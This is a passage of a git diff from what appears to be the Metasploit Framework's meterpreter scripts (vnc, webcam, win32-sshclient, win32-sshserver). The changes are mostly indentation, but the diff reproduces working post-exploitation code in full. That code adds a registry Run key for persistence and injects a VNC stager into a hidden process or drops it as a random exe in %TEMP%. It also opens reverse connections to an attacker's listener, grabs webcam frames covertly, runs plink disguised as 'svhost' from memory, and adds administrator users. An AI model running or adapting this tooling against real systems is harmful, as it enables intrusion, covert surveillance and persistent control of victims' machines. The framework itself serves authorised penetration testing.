#{value} to #{data}.") + # Set registry to run executable at startup + key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run' + # Split the key into its parts + root_key, base_key = client.sys.registry.splitkey(key) + value = "MS" + data = @path + open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) + print_status("Successful set #{key} -> #{value} to #{data}.") end print_status("Finished!") diff --git a/scripts/meterpreter/vnc.rb b/scripts/meterpreter/vnc.rb index 42b3ddb67f..bda180d16f 100644 --- a/scripts/meterpreter/vnc.rb +++ b/scripts/meterpreter/vnc.rb @@ -8,17 +8,17 @@ session = client # Options # opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4545)"], - "-v" => [ true, "The local port for the VNC proxy service (default: 5900)"], - "-i" => [ false, "Inject the vnc server into a new process's memory instead of building an exe"], - "-P" => [ true, "Executable to inject into (starts a new process). Only useful with -i (default: notepad.exe)"], - "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"], - "-O" => [ false, "Disable binding the VNC proxy to localhost (open it to the network)"], - "-V" => [ false, "Disable the automatic launch of the VNC client"], - "-t" => [ false, "Tunnel through the current session connection. (Will be slower)"], - "-c" => [ false, "Enable the VNC courtesy shell"] + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4545)"], + "-v" => [ true, "The local port for the VNC proxy service (default: 5900)"], + "-i" => [ false, "Inject the vnc server into a new process's memory instead of building an exe"], + "-P" => [ true, "Executable to inject into (starts a new process). Only useful with -i (default: notepad.exe)"], + "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"], + "-O" => [ false, "Disable binding the VNC proxy to localhost (open it to the network)"], + "-V" => [ false, "Disable the automatic launch of the VNC client"], + "-t" => [ false, "Tunnel through the current session connection. (Will be slower)"], + "-c" => [ false, "Enable the VNC courtesy shell"] ) # @@ -26,9 +26,9 @@ opts = Rex::Parser::Arguments.new( # if (client.sock and client.sock.respond_to? :peerhost and client.sock.peerhost) - rhost = Rex::Socket.source_address(client.sock.peerhost) + rhost = Rex::Socket.source_address(client.sock.peerhost) else - rhost = Rex::Socket.source_address("1.2.3.4") + rhost = Rex::Socket.source_address("1.2.3.4") end rport = 4545 vport = 5900 @@ -48,38 +48,38 @@ pay = nil # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - when "-r" - rhost = val - when "-p" - rport = val.to_i - when "-v" - vport = val.to_i - when "-P" - runme = val - when "-D" - autoconn = false - when "-O" - anyaddr = true - when "-V" - autovnc = false - when "-c" - courtesy = true - when "-t" - tunnel = true - autoconn = true - when "-i" - inject = true - end + case opt + when "-h" + print_line(opts.usage) + raise Rex::Script::Completed + when "-r" + rhost = val + when "-p" + rport = val.to_i + when "-v" + vport = val.to_i + when "-P" + runme = val + when "-D" + autoconn = false + when "-O" + anyaddr = true + when "-V" + autovnc = false + when "-c" + courtesy = true + when "-t" + tunnel = true + autoconn = true + when "-i" + inject = true + end end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i @@ -87,90 +87,90 @@ unsupported if client.platform !~ /win32|win64/i # Create the raw payload # if (tunnel) - print_status("Creating a VNC bind tcp stager: RHOST=#{lhost} LPORT=#{rport}") - payload = "windows/vncinject/bind_tcp" + print_status("Creating a VNC bind tcp stager: RHOST=#{lhost} LPORT=#{rport}") + payload = "windows/vncinject/bind_tcp" - pay = client.framework.payloads.create(payload) - pay.datastore['RHOST'] = lhost - pay.datastore['LPORT'] = rport - pay.datastore['VNCPORT'] = vport + pay = client.framework.payloads.create(payload) + pay.datastore['RHOST'] = lhost + pay.datastore['LPORT'] = rport + pay.datastore['VNCPORT'] = vport else - print_status("Creating a VNC reverse tcp stager: LHOST=#{rhost} LPORT=#{rport})") - payload = "windows/vncinject/reverse_tcp" + print_status("Creating a VNC reverse tcp stager: LHOST=#{rhost} LPORT=#{rport}") + payload = "windows/vncinject/reverse_tcp" - pay = client.framework.payloads.create(payload) - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - pay.datastore['VNCPORT'] = vport + pay = client.framework.payloads.create(payload) + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + pay.datastore['VNCPORT'] = vport end if (not courtesy) - pay.datastore['DisableCourtesyShell'] = true + pay.datastore['DisableCourtesyShell'] = true end if (anyaddr) - pay.datastore['VNCHOST'] = "0.0.0.0" + pay.datastore['VNCHOST'] = "0.0.0.0" end if autoconn - mul = client.framework.exploits.create("multi/handler") - mul.share_datastore(pay.datastore) + mul = client.framework.exploits.create("multi/handler") + mul.share_datastore(pay.datastore) - mul.datastore['WORKSPACE'] = client.workspace - mul.datastore['PAYLOAD'] = payload - mul.datastore['EXITFUNC'] = 'process' - mul.datastore['ExitOnSession'] = true - mul.datastore['WfsDelay'] = 7 + mul.datastore['WORKSPACE'] = client.workspace + mul.datastore['PAYLOAD'] = payload + mul.datastore['EXITFUNC'] = 'process' + mul.datastore['ExitOnSession'] = true + mul.datastore['WfsDelay'] = 7 - mul.datastore['AUTOVNC'] = autovnc + mul.datastore['AUTOVNC'] = autovnc - print_status("Running payload handler") - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true - ) + print_status("Running payload handler") + mul.exploit_simple( + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true + ) end raw = pay.generate if (inject) - # - # Create a host process - # - pid = client.sys.process.execute("#{runme}", nil, {'Hidden' => 'true'}).pid - print_status("Host process #{runme} has PID #{pid}") - host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) - mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) + # + # Create a host process + # + pid = client.sys.process.execute("#{runme}", nil, {'Hidden' => 'true'}).pid + print_status("Host process #{runme} has PID #{pid}") + host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) + mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") - print_status("Writing the VNC stager into memory...") - host_process.memory.write(mem, raw) - host_process.thread.create(mem, 0) + print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") + print_status("Writing the VNC stager into memory...") + host_process.memory.write(mem, raw) + host_process.thread.create(mem, 0) else - exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) - print_status("VNC stager executable #{exe.length} bytes long") + exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) + print_status("VNC stager executable #{exe.length} bytes long") - # - # Upload to the filesystem - # - tempdir = client.fs.file.expand_path("%TEMP%") - tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - tempexe.gsub!("\\\\", "\\") + # + # Upload to the filesystem + # + tempdir = client.fs.file.expand_path("%TEMP%") + tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + tempexe.gsub!("\\\\", "\\") - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close - print_status("Uploaded the VNC agent to #{tempexe} (must be deleted manually)") + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close + print_status("Uploaded the VNC agent to #{tempexe} (must be deleted manually)") - # - # Execute the agent - # - print_status("Executing the VNC agent with endpoint #{rhost}:#{rport}...") - pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true}) + # + # Execute the agent + # + print_status("Executing the VNC agent with endpoint #{rhost}:#{rport}...") + pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true}) end if tunnel - # Set up a port forward for the multi/handler to use for uploading the stage - print_status("Starting the port forwarding from #{rport} => TARGET:#{rport}") - client.run_cmd("portfwd add -L 127.0.0.1 -l #{rport} -p #{rport} -r #{lhost}") + # Set up a port forward for the multi/handler to use for uploading the stage + print_status("Starting the port forwarding from #{rport} => TARGET:#{rport}") + client.run_cmd("portfwd add -L 127.0.0.1 -l #{rport} -p #{rport} -r #{lhost}") end diff --git a/scripts/meterpreter/webcam.rb b/scripts/meterpreter/webcam.rb index f6e65ba5d6..0292faf398 100644 --- a/scripts/meterpreter/webcam.rb +++ b/scripts/meterpreter/webcam.rb @@ -5,15 +5,15 @@ @client = client opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu" ], - "-f" => [ false, "Just grab single frame"], - "-l" => [ false, "Keep capturing in a loop (default)" ], - "-d" => [ true, "Loop delay interval (in ms, default 1000)" ], - "-i" => [ true, "The index of the webcam to use (Default: 1)" ], - "-q" => [ true, "The JPEG image quality (Default: 50)" ], - "-g" => [ false, "Send to GUI instead of writing to file" ], - "-s" => [ true, "Stop recording" ], - "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)"] + "-h" => [ false, "Help menu" ], + "-f" => [ false, "Just grab single frame"], + "-l" => [ false, "Keep capturing in a loop (default)" ], + "-d" => [ true, "Loop delay interval (in ms, default 1000)" ], + "-i" => [ true, "The index of the webcam to use (Default: 1)" ], + "-q" => [ true, "The JPEG image quality (Default: 50)" ], + "-g" => [ false, "Send to GUI instead of writing to file" ], + "-s" => [ true, "Stop recording" ], + "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)"] ) folderpath = "." @@ -23,99 +23,99 @@ index = 1 interval = 1000 gui = false opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "webcam -- view webcam over session" - print_line(opts.usage) - raise Rex::Script::Completed - when "-f" - single = true - when "-l" - single = false - when "-d" - interval = val.to_i - when "-i" - index = val.to_i - when "-q" - quality = val.to_i - when "-g" - gui = true - when "-p" - folderpath = val - when "-s" - print_line("[*] Stopping webcam") - client.webcam.webcam_stop - raise Rex::Script::Completed - end + case opt + when "-h" + print_line "webcam -- view webcam over session" + print_line(opts.usage) + raise Rex::Script::Completed + when "-f" + single = true + when "-l" + single = false + when "-d" + interval = val.to_i + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-g" + gui = true + when "-p" + folderpath = val + when "-s" + print_line("[*] Stopping webcam") + client.webcam.webcam_stop + raise Rex::Script::Completed + end } if !(client.platform =~ /win32|win64/) - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end begin - camlist = client.webcam.webcam_list - if camlist.length == 0 - print_error("Error: no webcams found!") - raise Rex::Script::Completed - elsif camlist.length < index - print_error("Error: only #{camlist.length} webcams found!") - raise Rex::Script::Completed - end - print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}") - client.webcam.webcam_start(index) + camlist = client.webcam.webcam_list + if camlist.length == 0 + print_error("Error: no webcams found!") + raise Rex::Script::Completed + elsif camlist.length < index + print_error("Error: only #{camlist.length} webcams found!") + raise Rex::Script::Completed + end + print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}") + client.webcam.webcam_start(index) - #prepare output - if(gui) - sock = Rex::Socket::Udp.create( - 'PeerHost' => "127.0.0.1", - 'PeerPort' => 16235 - ) - end - imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg" - htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm" - begin - if single == true - data = client.webcam.webcam_get_frame(quality) - if(gui) - sock.write(data) - else - ::File.open( imagepath, 'wb' ) do |fd| - fd.write( data ) - end - path = ::File.expand_path( imagepath ) - print_line( "[*] Image saved to : #{path}" ) - Rex::Compat.open_file( path ) - end - else - if(!gui) - ::File.open(htmlpath, 'wb' ) do |fd| - fd.write('" ) - end - print_line( "[*] View live stream at: #{htmlpath}" ) - Rex::Compat.open_file(htmlpath) - print_line( "[*] Image saved to : #{imagepath}" ) - end - while true do - data = client.webcam.webcam_get_frame(quality) - if(gui) - sock.write(data) - else - ::File.open( imagepath, 'wb' ) do |fd| - fd.write( data ) - end - end - select(nil, nil, nil, interval/1000.0) - end - end - rescue ::Interrupt - rescue ::Exception => e - print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}") - end - print_line("[*] Stopping webcam") - client.webcam.webcam_stop - sock.close if sock != nil + #prepare output + if(gui) + sock = Rex::Socket::Udp.create( + 'PeerHost' => "127.0.0.1", + 'PeerPort' => 16235 + ) + end + imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg" + htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm" + begin + if single == true + data = client.webcam.webcam_get_frame(quality) + if(gui) + sock.write(data) + else + ::File.open( imagepath, 'wb' ) do |fd| + fd.write( data ) + end + path = ::File.expand_path( imagepath ) + print_line( "[*] Image saved to : #{path}" ) + Rex::Compat.open_file( path ) + end + else + if(!gui) + ::File.open(htmlpath, 'wb' ) do |fd| + fd.write('" ) + end + print_line( "[*] View live stream at: #{htmlpath}" ) + Rex::Compat.open_file(htmlpath) + print_line( "[*] Image saved to : #{imagepath}" ) + end + while true do + data = client.webcam.webcam_get_frame(quality) + if(gui) + sock.write(data) + else + ::File.open( imagepath, 'wb' ) do |fd| + fd.write( data ) + end + end + select(nil, nil, nil, interval/1000.0) + end + end + rescue ::Interrupt + rescue ::Exception => e + print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}") + end + print_line("[*] Stopping webcam") + client.webcam.webcam_stop + sock.close if sock != nil rescue ::Exception => e - print_error("Error: #{e.class} #{e} #{e.backtrace}") + print_error("Error: #{e.class} #{e} #{e.backtrace}") end diff --git a/scripts/meterpreter/win32-sshclient.rb b/scripts/meterpreter/win32-sshclient.rb index f8c97c6bd3..94bd070f03 100644 --- a/scripts/meterpreter/win32-sshclient.rb +++ b/scripts/meterpreter/win32-sshclient.rb @@ -14,49 +14,49 @@ meter_type = client.platform # @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-f" => [ true, "Do not download plink.exe but use given file."], - "-U" => [ true, "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"], - "-H" => [ true, "The IP/hostname of the SSH-server to connect to !REQUIRED!"], - "-p" => [ true, "The port of the remote SSH-server (Default:22)"], - "-u" => [ true, "The username to use to login to the SSH-server !REQUIRED!"], - "-P" => [ true, "login with specified password"], - "-b" => [ false, "disable all interactive prompts"], - "-R" => [ true, "Forward remote port to local address ([listen-IP:]listen-port:host:port)"], - "-L" => [ true, "Forward local port to remote address ([listen-IP:]listen-port:host:port)"], - "-D" => [ true, "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"], - "-C" => [ false, "enable compression"], - "-X" => [ false, "enable X11 forwarding"], - "-x" => [ false, "disable X11 forwarding"], - "-A" => [ false, "enable agent forwarding"], - "-a" => [ false, "disable agent forwarding"], - "-1" => [ false, "use SSH-protocol-version 1"], - "-2" => [ false, "use SSH-protocol-version 2"], - "-4" => [ false, "use IPv4"], - "-6" => [ false, "use IPv6"], - "-i" => [ true, "private key-file for authentication"], - "-m" => [ true, "read remote command from file"], - "-s" => [ false, "remote command is an ssh-subsystem(SSH2 only)"], - "-N" => [ false, "Don`t start a shell/command (SSH2 only)"], - "-n" => [ true, "open tunnel in place of session (SSH-2 only) (host:port)"], - "-r" => [ true, "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"], - "-F" => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"], - "-E" => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"], - "-v" => [ false, "Give additional (debugging-)output"] + "-h" => [ false, "This help menu"], + "-f" => [ true, "Do not download plink.exe but use given file."], + "-U" => [ true, "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"], + "-H" => [ true, "The IP/hostname of the SSH-server to connect to !REQUIRED!"], + "-p" => [ true, "The port of the remote SSH-server (Default:22)"], + "-u" => [ true, "The username to use to login to the SSH-server !REQUIRED!"], + "-P" => [ true, "login with specified password"], + "-b" => [ false, "disable all interactive prompts"], + "-R" => [ true, "Forward remote port to local address ([listen-IP:]listen-port:host:port)"], + "-L" => [ true, "Forward local port to remote address ([listen-IP:]listen-port:host:port)"], + "-D" => [ true, "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"], + "-C" => [ false, "enable compression"], + "-X" => [ false, "enable X11 forwarding"], + "-x" => [ false, "disable X11 forwarding"], + "-A" => [ false, "enable agent forwarding"], + "-a" => [ false, "disable agent forwarding"], + "-1" => [ false, "use SSH-protocol-version 1"], + "-2" => [ false, "use SSH-protocol-version 2"], + "-4" => [ false, "use IPv4"], + "-6" => [ false, "use IPv6"], + "-i" => [ true, "private key-file for authentication"], + "-m" => [ true, "read remote command from file"], + "-s" => [ false, "remote command is an ssh-subsystem(SSH2 only)"], + "-N" => [ false, "Don`t start a shell/command (SSH2 only)"], + "-n" => [ true, "open tunnel in place of session (SSH-2 only) (host:port)"], + "-r" => [ true, "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"], + "-F" => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"], + "-E" => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"], + "-v" => [ false, "Give additional (debugging-)output"] ) def usage - print_line("plink ssh-client deploy+run script") - print_line("This script will upload and run a plink ssh-cient") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("plink ssh-client deploy+run script") + print_line("This script will upload and run a plink ssh-cient") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # # Default parameters @@ -83,28 +83,28 @@ EOS # def upload(client,file,trgloc = nil) - if not ::File.exists?(file) - raise "File to Upload does not exists!" - else - if trgloc == nil - location = client.fs.file.expand_path("%TEMP%") - else - location = trgloc - end - begin - if file =~ /S*(.exe)/i - fileontrgt = "#{location}\\svhost#{rand(100)}.exe" - else - fileontrgt = "#{location}\\TMP#{rand(100)}" - end - print_status("Uploading #{file}....") - client.fs.file.upload_file(fileontrgt, file) - print_status("#{file} successfully uploaded to #{fileontrgt}!") - rescue ::Exception => e - print_status("Error uploading file #{file}: #{e.class} #{e}") - end - end - return fileontrgt + if not ::File.exists?(file) + raise "File to Upload does not exists!" + else + if trgloc == nil + location = client.fs.file.expand_path("%TEMP%") + else + location = trgloc + end + begin + if file =~ /S*(.exe)/i + fileontrgt = "#{location}\\svhost#{rand(100)}.exe" + else + fileontrgt = "#{location}\\TMP#{rand(100)}" + end + print_status("Uploading #{file}....") + client.fs.file.upload_file(fileontrgt, file) + print_status("#{file} successfully uploaded to #{fileontrgt}!") + rescue ::Exception => e + print_status("Error uploading file #{file}: #{e.class} #{e}") + end + end + return fileontrgt end @@ -141,162 +141,162 @@ filemode = nil downloaded = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-H" - if !val - print_error("-H requires an argument !") - usage - end - rhost = val + case opt + when "-h" + usage + when "-H" + if !val + print_error("-H requires an argument !") + usage + end + rhost = val - when "-f" - if !val - print_error("-f requires an argument !") - usage - end - plink = val - if not ::File.exists?(plink) - print_error("Plink.exe not found/accessible!") - usage - end - manual = true + when "-f" + if !val + print_error("-f requires an argument !") + usage + end + plink = val + if not ::File.exists?(plink) + print_error("Plink.exe not found/accessible!") + usage + end + manual = true - when "-r" - if !val - print_error("-r requires an argument !") - usage - end - hostkey = val + when "-r" + if !val + print_error("-r requires an argument !") + usage + end + hostkey = val - when "-p" - rport = val.to_i + when "-p" + rport = val.to_i - when "-U" - if !val - print_error("-u requires an argument !") - usage - end - plinkurl = val + when "-U" + if !val + print_error("-u requires an argument !") + usage + end + plinkurl = val - when "-u" - if !val - print_error("-u requires an argument !") - usage - end - username = val + when "-u" + if !val + print_error("-u requires an argument !") + usage + end + username = val - when "-P" - if !val - print_error("-P requires an argument !") - usage - end - password = val + when "-P" + if !val + print_error("-P requires an argument !") + usage + end + password = val - when "-b" - batchmode = true + when "-b" + batchmode = true - when "-R" - if !val - print_error("-R requires an argument !") - usage - end - remotefwd = val + when "-R" + if !val + print_error("-R requires an argument !") + usage + end + remotefwd = val - when "-L" - if !val - print_error("-L requires an argument !") - usage - end - localfwd = val + when "-L" + if !val + print_error("-L requires an argument !") + usage + end + localfwd = val - when "-D" - if !val - print_error("-D requires an argument !") - usage - end - socksfwd = val + when "-D" + if !val + print_error("-D requires an argument !") + usage + end + socksfwd = val - when "-C" - enablecompression = true + when "-C" + enablecompression = true - when "-X" - enablex11fwd = true + when "-X" + enablex11fwd = true - when "-x" - disablex11fwd = true + when "-x" + disablex11fwd = true - when "-A" - enableagentfwd = true + when "-A" + enableagentfwd = true - when "-a" - disableagentfwd = true + when "-a" + disableagentfwd = true - when "-1" - sshv1 = true + when "-1" + sshv1 = true - when "-2" - sshv2 = true + when "-2" + sshv2 = true - when "-4" - ipv4 = true + when "-4" + ipv4 = true - when "-6" - ipv6 = true + when "-6" + ipv6 = true - when "-i" - if !val - print_error("-i requires an argument !") - usage - end - keyfile = val - if not ::File.exists?(keyfile) - print_error("keyfile not found or not accessible!") - usage - end + when "-i" + if !val + print_error("-i requires an argument !") + usage + end + keyfile = val + if not ::File.exists?(keyfile) + print_error("keyfile not found or not accessible!") + usage + end - when "-m" - if !val - print_error("-m requires an argument !") - usage - end - cmdfile = val - if not ::File.exists?(cmdfile) - print_error("cmd-file not found/accessible!") - usage - end + when "-m" + if !val + print_error("-m requires an argument !") + usage + end + cmdfile = val + if not ::File.exists?(cmdfile) + print_error("cmd-file not found/accessible!") + usage + end - when "-s" - sshsubsys = true + when "-s" + sshsubsys = true - when "-N" - noshell = true + when "-N" + noshell = true - when "-n" - if !val - print_error("-n requires an argument !") - usage - end - nctunnel = val + when "-n" + if !val + print_error("-n requires an argument !") + usage + end + nctunnel = val - when "-E" - if !val - print_error("-E requires an argument !") - usage - end - processname = val + when "-E" + if !val + print_error("-E requires an argument !") + usage + end + processname = val - when "-v" - verbose = true + when "-v" + verbose = true - when "-F" - filemode = true + when "-F" + filemode = true - else - print_error("Unknown option: #{opt}") - usage - end + else + print_error("Unknown option: #{opt}") + usage + end } # Check for Version of Meterpreter @@ -304,8 +304,8 @@ wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i if not rhost or not username - print_status("You must specify a hostname (-H) and username (-u)") - raise Rex::Script::Completed + print_status("You must specify a hostname (-H) and username (-u)") + raise Rex::Script::Completed end # @@ -313,14 +313,14 @@ end # Ask user before downloading # if not manual - if not ::File.exists?(plink) - print_status("plink.exe could not be found. Downloading it now...") - print_status(license) - plinkexe = Net::HTTP.get URI.parse(plinkurl) - File.open(plink, "wb") { |fd| fd.write(plinkexe) } - print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.") - downloaded = true - end + if not ::File.exists?(plink) + print_status("plink.exe could not be found. Downloading it now...") + print_status(license) + plinkexe = Net::HTTP.get URI.parse(plinkurl) + File.open(plink, "wb") { |fd| fd.write(plinkexe) } + print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.") + downloaded = true + end end # @@ -331,10 +331,10 @@ keyfileontrgt = upload(client, keyfile) if keyfile trg_filename = nil if filemode - print_status("-------Uploading plink -------") - trg_filename = upload(client, plink) + print_status("-------Uploading plink -------") + trg_filename = upload(client, plink) else - trg_filename = plink + trg_filename = plink end # @@ -371,18 +371,18 @@ params << rhost # hostkeyname = nil if not hostkey == nil - hostkeyname = "rsa2@#{rport}:#{rhost}" - print_status("Writing the Hostkey to the registry...") - client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}") + hostkeyname = "rsa2@#{rport}:#{rhost}" + print_status("Writing the Hostkey to the registry...") + client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}") end # # Give additional output when -v is set # if verbose - print_status("You set the following parameters for plink :") - print_status(params) - print_status(processname) + print_status("You set the following parameters for plink :") + print_status(params) + print_status(processname) end # @@ -393,56 +393,56 @@ print_status("-------Executing Client ------") p = nil if not filemode - p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname}) + p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname}) else - p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true}) + p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true}) end if noshell == nil - client.console.run_single("interact #{p.channel.cid}") + client.console.run_single("interact #{p.channel.cid}") end if filemode - if not noshell == true - if verbose - print_status("Waiting 3 seconds to be sure the process was closed.") - end - sleep(3) - if verbose - print_status("Deleting the uploaded plink.exe...") - end - client.fs.file.rm(trg_filename) - else - print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!") - end + if not noshell == true + if verbose + print_status("Waiting 3 seconds to be sure the process was closed.") + end + sleep(3) + if verbose + print_status("Deleting the uploaded plink.exe...") + end + client.fs.file.rm(trg_filename) + else + print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!") + end end if not keyfile == nil - if verbose - print_status("Waiting 1 second to be sure the keyfile is not in use anymore.") - end - sleep(1) - if verbose - print_status("Deleting the keyfile !") - end - if verbose - print_status(keyfile) - end - client.fs.file.rm(keyfile) + if verbose + print_status("Waiting 1 second to be sure the keyfile is not in use anymore.") + end + sleep(1) + if verbose + print_status("Deleting the keyfile !") + end + if verbose + print_status(keyfile) + end + client.fs.file.rm(keyfile) end if not cmdfile == nil - print_status("You need to manually delete the uploaded #{cmdfile} !") + print_status("You need to manually delete the uploaded #{cmdfile} !") end # # Delete the registry-key that may have been created # if not hostkey == nil - if verbose - print_status("Deleting the registry-key set by the script.") - end - client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}") + if verbose + print_status("Deleting the registry-key set by the script.") + end + client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}") end raise Rex::Script::Completed diff --git a/scripts/meterpreter/win32-sshserver.rb b/scripts/meterpreter/win32-sshserver.rb index 56232b6227..e909ef6eea 100644 --- a/scripts/meterpreter/win32-sshserver.rb +++ b/scripts/meterpreter/win32-sshserver.rb @@ -13,56 +13,56 @@ meter_type = client.platform # @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-f" => [ true, "The filename of the OpenSSH-SFX to deploy. (Default is to auto-download from meterpreter.illegalguy.hostzi.com"], - "-U" => [ true, "Download OpenSSH-SFX from given URL"], - "-u" => [ true, "Add windows-user (autoadded to local administrators"], - "-p" => [ true, "Password for the new user"], - "-r" => [ false, "Uninstall OpenSSH + delete added user (ATTENTION: will only uninstall OpenSSH-installations that were deployed by this script!!)"], - "-I" => [ true, "Install OpenSSH to the given directory"], - "-F" => [ false, "Force overwriting of registry-values"], - "-S" => [ true, "Set custom service description"], - "-N" => [ true, "Set custom service name"], - "-m" => [ true, "Do not start the OpenSSH-service after installation"], - "-t" => [ true, "Set start-type of the service to manual (Default: auto)"] - ) + "-h" => [ false, "This help menu"], + "-f" => [ true, "The filename of the OpenSSH-SFX to deploy. (Default is to auto-download from meterpreter.illegalguy.hostzi.com"], + "-U" => [ true, "Download OpenSSH-SFX from given URL"], + "-u" => [ true, "Add windows-user (autoadded to local administrators"], + "-p" => [ true, "Password for the new user"], + "-r" => [ false, "Uninstall OpenSSH + delete added user (ATTENTION: will only uninstall OpenSSH-installations that were deployed by this script!!)"], + "-I" => [ true, "Install OpenSSH to the given directory"], + "-F" => [ false, "Force overwriting of registry-values"], + "-S" => [ true, "Set custom service description"], + "-N" => [ true, "Set custom service name"], + "-m" => [ true, "Do not start the OpenSSH-service after installation"], + "-t" => [ true, "Set start-type of the service to manual (Default: auto)"] + ) def usage - print_line("OpenSSH-server deploy+run script") - print_line("This script will deploy OpenSSH + run the SSH-server as a service") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("OpenSSH-server deploy+run script") + print_line("This script will deploy OpenSSH + run the SSH-server as a service") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end def createkey(key) - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.create_key(root_key, base_key) + root_key, base_key = client.sys.registry.splitkey(key) + open_key = client.sys.registry.create_key(root_key, base_key) end def deletekey(key) - root_key, base_key = client.sys.registry.splitkey(key) - rtrncode = client.sys.registry.delete_key(root_key, base_key) - return rtrncode + root_key, base_key = client.sys.registry.splitkey(key) + rtrncode = client.sys.registry.delete_key(root_key, base_key) + return rtrncode end def setval(key, value, data, type = "REG_SZ") - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) + root_key, base_key = client.sys.registry.splitkey(key) + open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) end def queryval(key, value) - root_key, base_key = client.sys.registry.splitkey(key) - hkey = 